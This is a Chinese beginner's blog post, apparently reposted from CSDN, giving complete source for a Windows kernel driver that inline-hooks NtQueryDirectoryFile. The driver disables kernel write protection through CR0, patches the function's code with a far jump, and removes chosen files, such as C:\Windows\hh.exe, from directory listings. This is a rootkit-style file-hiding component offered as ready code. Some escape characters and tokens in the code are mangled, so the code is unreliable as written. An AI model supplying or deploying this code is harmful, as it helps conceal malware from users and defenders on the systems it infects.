zoukankan      html  css  js  c++  java
  • Inline Hook NtQueryDirectoryFile

    Inline Hook NtQueryDirectoryFile

    首先声明这个是菜鸟—我的学习日记,不是什么高深文章,高手们慎看.

    都总是发一些已经过时的文章真不好意思,几个月以来沉迷于游戏也是时候反省了,我真的几个月没写博客了,怎么办~怎么办~我要补充自己的博客,但真想不到写什么了,唯有将自己以前写的一些Demo写上来.

    当初我其实是不会这样做的,看了一篇关于"怎么inline hook NtDeviceIoControlFile隐藏端口"的文章后有启发,于是自己试着用在隐藏文件这个函数上,忘记了这篇文章的出处,对作者深感抱歉.

    l         原理分析

           inline hook的原理相信已经为大家所知了,方法就有几种.

           1. 原函数入口call之前改无条件跳到自己函数,处理数据,然后原函数改回正常,调用原函数,再改回原函数入口call之前改无条件跳到自己函数.(这样做操作繁复,调用频繁可能出错)

           2. 就是我以下做的方法了.只要实现一次修改就可以了.

           3. ……..还有更多的.

     

    nt!NtQueryDirectoryFile: //这个函数入口的原来样子

    80574515 8bff            mov     edi,edi

    80574517 55              push    ebp

    80574518 8bec            mov     ebp,esp

    8057451a 8d452c          lea     eax,[ebp+2Ch]

    8057451d 50              push    eax

    8057451e 8d4528          lea     eax,[ebp+28h]

    80574521 50              push    eax

    80574522 8d4524          lea     eax,[ebp+24h]

    80574525 50              push    eax

    80574526 8d4520          lea     eax,[ebp+20h]

    80574529 50              push    eax

    8057452a 8d4530          lea     eax,[ebp+30h]

    8057452d 50              push    eax

    8057452e 6a01            push    1

    80574530 ff7530          push    dword ptr [ebp+30h]

    80574533 ff752c          push    dword ptr [ebp+2Ch]

    80574536 ff7528          push    dword ptr [ebp+28h]

    80574539 ff7524          push    dword ptr [ebp+24h]

    8057453c ff7520          push    dword ptr [ebp+20h]

    8057453f ff751c          push    dword ptr [ebp+1Ch]

    80574542 ff7518          push    dword ptr [ebp+18h]

    80574545 ff7514          push    dword ptr [ebp+14h]

    80574548 ff7510          push    dword ptr [ebp+10h]

    8057454b ff750c          push    dword ptr [ebp+0Ch]

    8057454e ff7508          push    dword ptr [ebp+8]

    80574551 e82bfdffff      call    nt!PsLookupProcessByProcessId+0x3f4 (80574281)

    --------------------------------------------------------------------------------------------

    nt!NtQueryDirectoryFile: //这个函数入口修改后的样子

    ……

    80574542 ff7518          push    dword ptr [ebp+18h]

    80574545 ff7514          push    dword ptr [ebp+14h]

    80574548 ea1c3224f50800  jmp     0008:F524321C // 无条件跳自己的函数,其实这段可以写在

    8057454b 90              nop                  // call前的任何地方,自己构建的函数要有

    8057454e 90              nop                  // 相应的改动而已.

    80574551 e82bfdffff      call    nt!PsLookupProcessByProcessId+0x3f4 (80574281)

    --------------------------------------------------------------------------------------------

    __declspec(naked) NTAPI

    Detour_NtQueryDirectoryFile(

         IN HANDLE  FileHandle,

         IN HANDLE  Event  OPTIONAL,

         IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

         IN PVOID  ApcContext  OPTIONAL,

         OUT PIO_STATUS_BLOCK  IoStatusBlock,

         OUT PVOID  FileInformation,

         IN ULONG  FileInformationLength,

         IN FILE_INFORMATION_CLASS  FileInformationClass,

         IN ULONG  ReturnSingleEntry,

         IN PUNICODE_STRING  FileName  OPTIONAL,

         IN ULONG  RestartScan)

    {

         __asm    // 恢复好堆栈先

         {

             add esp,40

             mov esp,ebp

             pop ebp

     

             push ebp

             mov ebp,esp

             pushad

         }

         __asm    // 然后就模拟压栈

         {

             push RestartScan

             push FileName

             push ReturnSingleEntry

             push FileInformationClass

             push FileInformationLength

             push FileInformation

             push IoStatusBlock

             push ApcContext

             push ApcRoutine

             push Event

             push FileHandle

         }

         __asm

         {

             jmp forwArd

    bAck:

         }

         __asm    // 模拟函数入口的操作了

         { 

             push    ebp

             mov     ebp,esp

             lea     eax,[ebp+2Ch]

             push    eax

             lea     eax,[ebp+28h]

             push    eax

             lea     eax,[ebp+24h]

             push    eax

             lea     eax,[ebp+20h]

             push    eax

             lea     eax,[ebp+30h]

             push    eax

             push    1

             push    dword ptr [ebp+30h]

             push    dword ptr [ebp+2Ch]

             push    dword ptr [ebp+28h]

             push    dword ptr [ebp+24h]

             push    dword ptr [ebp+20h]

             push    dword ptr [ebp+1Ch]

             push    dword ptr [ebp+18h]

             push    dword ptr [ebp+14h]

             push    dword ptr [ebp+10h]

             push    dword ptr [ebp+0Ch]

             push    dword ptr [ebp+8]

     

             _emit 0xEA    // 用jmp far 跳回原来函数这个位置

             _emit 0xFF

             _emit 0xFF

             _emit 0xFF

             _emit 0xFF

             _emit 0x08

             _emit 0x00

         }

         __asm

         {

    forwArd:

             call bAck     // 调用原来的函数了,是不是很巧妙咧.

             mov rc,eax    // 结果放到rc中

         }

     

    l         关于怎么通过NtQueryDirectoryFile的一个HANDLE来取得文件的所在目录

        这个问题我一直解决不了,怎么用全路径来判断需要隐藏的文件的,网上的资料都只是支持文件名来隐藏的,我好想做到,找了好多资料都找不到现成的代码,但看着是有些启发的.于是慢慢也有思路了.

        1.有个调用ObReferenceObjectByHandle 可以通过HANDLE来取得PFILE_OBJECT.

        2.既然有了PFILE_OBJECT就可以通过ObQueryNameString来取得POBJECT_NAME_INFORMATION,这里好做了,全路径就存放在这个POBJECT_NAME_INFORMATION ->Name.Buffer中了.

        3.前面的PFILE_OBJECT已经没用了,别忘记好习惯清理调用ObDereferenceObject(这个是DDK说的).

        4.但POBJECT_NAME_INFORMATION ->Name.Buffer并不象我们想象的路径"C:/Windows"那样的, "C:"只是一个连接符,实际的设备名称是"/Device/HarddiskVolume1",那么"C:/Windows"="/Device/HarddiskVolume1/Windows ".

        5.现在就需要找出POBJECT_NAME_INFORMATION ->Name.Buffer对应的到底是那个连接符,因为"/Device/HarddiskVolume1"可能代表的是"D:",那么我这里就用了一种好没效率的方法来实现,如果大家有更好的方法请告诉我^-^.

        6.我先构建一个UNICODE_STRING = L"//DosDevices//C:" 然后通过ZwOpenSymbolicLinkObject, ZwQuerySymbolicLinkObject来取得设备的名称UNICODE_STRING = L"//Device//HarddiskVolume1",然后如此类推由C到Z的一个循环.通过和POBJECT_NAME_INFORMATION ->Name.Buffer的前部分对比判断出到底是哪个连接符.最后记得用ZwClose释放调用产生的HANDLE.

        7. POBJECT_NAME_INFORMATION ->Name.Buffer的后部分就是路径了.到这里思路都完成了.

    以下是代码了.相信都比较清晰了.

    //////////HideFile.c/////////////

    #include "ntifs.h"

     

    NTSTATUS rc;

    ULONG bLastOne, iPos, iLeft;

    PFILE_BOTH_DIR_INFORMATION pFileInfo, pLastFileInfo;

     

    WCHAR *FileHide = L"C://Windows//Explorer.exe/0C://Windows//hh.exe";

    WCHAR FileName[260];

    WCHAR FileDirectory[1024];

     

    char DetourCode[] = { 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x00, 0x90, 0x90 };

    char BackupCode[] = { 0xFF, 0x25, 0x00, 0x39, 0x55, 0x80, 0x90, 0x90, 0x90 };

     

    ULONG ComparePathString(IN WCHAR *NameString, ULONG FileNameLength)

    {

         int Offer = 0;

     

         while(FileHide[Offer])

         {

             if(wcslen(&FileHide[Offer]) == wcslen(FileDirectory) + FileNameLength/sizeof(WCHAR) + 1)

             {

                  if( !_wcsnicmp(&FileHide[Offer], FileDirectory, wcslen(FileDirectory)) &&

                       !_wcsnicmp(&FileHide[Offer + wcslen(FileDirectory) + 1], NameString, FileNameLength/sizeof(WCHAR)) )

                  {

                       return 1;

                  }

             }

             Offer += wcslen(&FileHide[Offer]) + 1;

         }

         return 0;

    }

     

    VOID GetDosNameChar(IN HANDLE  FileHandle)

    {

         PFILE_OBJECT pFileObject;

         POBJECT_NAME_INFORMATION pObjectName;

         ULONG ActualLength;

     

         HANDLE LinkHandle;

         WCHAR NameBuffer[64];

         OBJECT_ATTRIBUTES ObjectAttributes;

         UNICODE_STRING DeviceString, VolumeString;

     

         ObReferenceObjectByHandle(FileHandle, FILE_READ_ACCESS, *IoFileObjectType, KernelMode, &pFileObject, 0);

         pObjectName = (POBJECT_NAME_INFORMATION)ExAllocatePool(PagedPool, sizeof(OBJECT_NAME_INFORMATION) + 1024);

         ObQueryNameString(pFileObject, pObjectName, sizeof(OBJECT_NAME_INFORMATION) + 1024, &ActualLength);

         ObDereferenceObject(pFileObject);

     

     

         RtlInitUnicodeString(&VolumeString, L"//DosDevices//C:");

         InitializeObjectAttributes(&ObjectAttributes, &VolumeString, OBJ_KERNEL_HANDLE, NULL, NULL);

     

         DeviceString.Buffer = NameBuffer;

         DeviceString.MaximumLength = sizeof(NameBuffer);

     

         for(VolumeString.Buffer[12] = 'C';VolumeString.Buffer[12] <= 'Z';VolumeString.Buffer[12]++)

         {

             RtlZeroMemory(NameBuffer, sizeof(NameBuffer));

     

             ZwOpenSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_QUERY, &ObjectAttributes);

             ZwQuerySymbolicLinkObject(LinkHandle, &DeviceString, &ActualLength);

             ZwClose(LinkHandle);

         DbgPrint("%ws",DeviceString.Buffer);

     

             if(RtlCompareMemory(pObjectName->Name.Buffer, DeviceString.Buffer, DeviceString.Length ) == DeviceString.Length)

             {

                  RtlZeroMemory(FileDirectory, sizeof(FileDirectory));

                  RtlCopyMemory(FileDirectory, &VolumeString.Buffer[12], sizeof(WCHAR) * 2);

                  if(pObjectName->Name.Length - DeviceString.Length > 2)

                       RtlCopyMemory(&FileDirectory[2], &pObjectName->Name.Buffer[DeviceString.Length/2], pObjectName->Name.Length - DeviceString.Length);

                  break;

             }

         }

         ExFreePool(pObjectName);

    }

     

    __declspec(naked) NTAPI

    Detour_NtQueryDirectoryFile(

         IN HANDLE  FileHandle,

         IN HANDLE  Event  OPTIONAL,

         IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

         IN PVOID  ApcContext  OPTIONAL,

         OUT PIO_STATUS_BLOCK  IoStatusBlock,

         OUT PVOID  FileInformation,

         IN ULONG  FileInformationLength,

         IN FILE_INFORMATION_CLASS  FileInformationClass,

         IN ULONG  ReturnSingleEntry,

         IN PUNICODE_STRING  FileName  OPTIONAL,

         IN ULONG  RestartScan)

    {

         __asm

         {

             add esp,40

             mov esp,ebp

             pop ebp

     

             push ebp

             mov ebp,esp

             pushad

         }

         __asm

         {

             push RestartScan

             push FileName

             push ReturnSingleEntry

             push FileInformationClass

             push FileInformationLength

             push FileInformation

             push IoStatusBlock

             push ApcContext

             push ApcRoutine

             push Event

             push FileHandle

         }

         __asm

         {

             jmp forwArd

    bAck:

         }

         __asm

         { 

             push    ebp

             mov     ebp,esp

             lea     eax,[ebp+2Ch]

             push    eax

             lea     eax,[ebp+28h]

             push    eax

             lea     eax,[ebp+24h]

             push    eax

             lea     eax,[ebp+20h]

             push    eax

             lea     eax,[ebp+30h]

             push    eax

             push    1

             push    dword ptr [ebp+30h]

             push    dword ptr [ebp+2Ch]

             push    dword ptr [ebp+28h]

             push    dword ptr [ebp+24h]

             push    dword ptr [ebp+20h]

             push    dword ptr [ebp+1Ch]

             push    dword ptr [ebp+18h]

             push    dword ptr [ebp+14h]

             push    dword ptr [ebp+10h]

             push    dword ptr [ebp+0Ch]

             push    dword ptr [ebp+8]

     

             _emit 0xEA

             _emit 0xFF

             _emit 0xFF

             _emit 0xFF

             _emit 0xFF

             _emit 0x08

             _emit 0x00

         }

         __asm

         {

    forwArd:

             call bAck

             mov rc,eax

         }

     

         if( NT_SUCCESS(rc) && (FileInformationClass == FileBothDirectoryInformation) )

         {

             GetDosNameChar(FileHandle);

     

             pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;

             pLastFileInfo = NULL;

     

             do

             {

                  bLastOne = !(pFileInfo->NextEntryOffset);

                  if(ComparePathString(pFileInfo->FileName, pFileInfo->FileNameLength))

                  {

                       if(bLastOne)

                       {

                           if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformation )

                           {

                                rc = 0x80000006;

                           }

                           else

                           {

                                pLastFileInfo->NextEntryOffset = 0;

                           }

                           break;

                       }

                       else

                       {

                           iPos = (ULONG)pFileInfo - (ULONG)FileInformation;

                           iLeft = (ULONG)FileInformationLength - iPos - pFileInfo->NextEntryOffset;

                           RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), iLeft );

                           continue;

                       }

                  }

                  pLastFileInfo = pFileInfo;

                  pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);

      

             }while(!bLastOne);

         }

     

         __asm

         {

             popad

             mov esp,ebp

             pop ebp

             mov eax,rc

             ret 0x28

         }

    }

     

    VOID InterruptEnable()

    {

         __asm

         {

             MOV EAX, CR0

             OR EAX, 10000H

             MOV CR0, EAX

             STI

         }

    }

     

    VOID InterruptDisable()

    {

         __asm

         {

             CLI

             MOV EAX, CR0

             AND EAX, NOT 10000H

             MOV CR0, EAX

         }

    }

     

    NTSTATUS DetourFunctionNtQueryDirectoryFile()

    {

         int i = 0;

         while(++i)

         {

             if(!memcmp((unsigned char *)Detour_NtQueryDirectoryFile + i, &DetourCode[1], 4))

             {

                  *( (unsigned long *)((unsigned char *)Detour_NtQueryDirectoryFile + i) ) = (unsignedlong)NtQueryDirectoryFile + 0x3C;

                  break;

             }

         }

     

         *( (unsigned long *)(&DetourCode[1]) ) = (unsigned long)Detour_NtQueryDirectoryFile;

     

         InterruptDisable();

         memcpy(BackupCode, (unsigned char *)NtQueryDirectoryFile + 0x33, 9);

         memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, DetourCode, 9);

         InterruptEnable();

         return STATUS_SUCCESS;

    }

     

    VOID UnDetourFunctionNtQueryDirectoryFile()

    {

         InterruptDisable();

         memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, BackupCode, 9);

         InterruptEnable();

    }

     

    VOID DriverUnload(IN PDRIVER_OBJECT  DriverObject)

    {

         UnDetourFunctionNtQueryDirectoryFile();

    }

     

    NTSTATUS DriverEntry(

         IN OUT PDRIVER_OBJECT   DriverObject,

         IN PUNICODE_STRING      RegistryPath)

    {

         DriverObject->DriverUnload = DriverUnload;

     

         DetourFunctionNtQueryDirectoryFile();

         return STATUS_SUCCESS;

    }

     
    http://blog.csdn.net/cooblily/article/details/2532223
  • 相关阅读:
    CentOS6.4安装OpenSSL
    Linux下设置Tomcat开机启动
    Linux下Tomcat8.0.44配置使用Apr
    CentOS6.4将MySQL5.1升级至5.5.36
    Linux下实现MySQL数据库自动备份
    Linux将MySQL数据库目录挂载至新数据盘
    MySQL创建数据库与创建用户以及授权
    Node.js Mongoose数据库连接失败 提示:Authentication failed
    JBoss7.1.1远程无法访问
    mongodb3.4 远程连接认证失败
  • 原文地址:https://www.cnblogs.com/findumars/p/5928715.html
Copyright © 2011-2022 走看看